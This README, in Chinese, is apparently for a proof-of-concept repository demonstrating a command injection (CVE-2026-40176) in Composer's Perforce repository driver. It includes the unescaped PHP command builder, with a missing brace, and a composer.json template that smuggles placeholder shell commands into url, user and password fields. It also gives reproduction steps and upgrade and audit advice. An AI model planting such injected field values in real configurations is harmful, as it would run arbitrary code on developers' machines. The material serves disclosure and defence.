
概念验证,演示 Composer 的 Perforce 驱动中的命令注入漏洞(CVE-2026-40176),可通过精心构造的仓库配置实现远程代码执行。
| 属性 | 值 |
|---|
| CVE ID | CVE-2026-40176 |
| 受影响版本 | Composer < 2.2.27 |
| 漏洞类型 | 命令注入 |
| 攻击向量 | 恶意仓库配置 |
| 影响 | 任意代码执行 |
| CVSS 评分 | 高危/严重 |
该漏洞存在于 Composer 处理 perforce 类型仓库的方式中。相关参数在传递给 shell 命令之前未经过适当清理,攻击者可借此注入任意系统命令。
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
所有内容均未正确转义,攻击者可通过为 perforce 类型的所有字段构造恶意载荷来注入命令。
漏洞代码模式:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
本仓库包含一个可用的概念验证,用于演示该漏洞。
CVE-2026-40176/
├── composer.json # 恶意 Perforce 仓库配置
├── vuln-composer.phar # Composer 2.2.26(存在漏洞)
├── patched-composer.phar # Composer 2.2.27(已修复)
└── README.md # 本文件
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# 输出:Composer version 2.2.26
php patched-composer.phar --version
# 输出:Composer version 2.2.27
php vuln-composer.phar install
# 或
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# 该文件不应存在(漏洞已修复)
将 Composer 升级至 2.2.27 或更高版本:
composer self-update --2.2.27
# 或
wget https://getcomposer.org/download/2.2.27/composer.phar
审查所有 composer.json 文件,查找未知或可疑的仓库配置
审计供应链 - 检查是否有依赖项引用了不受信任的仓库
# 检查您的 Composer 版本
composer --version
# 在项目中搜索 Perforce 仓库
grep -r "perforce" */composer.json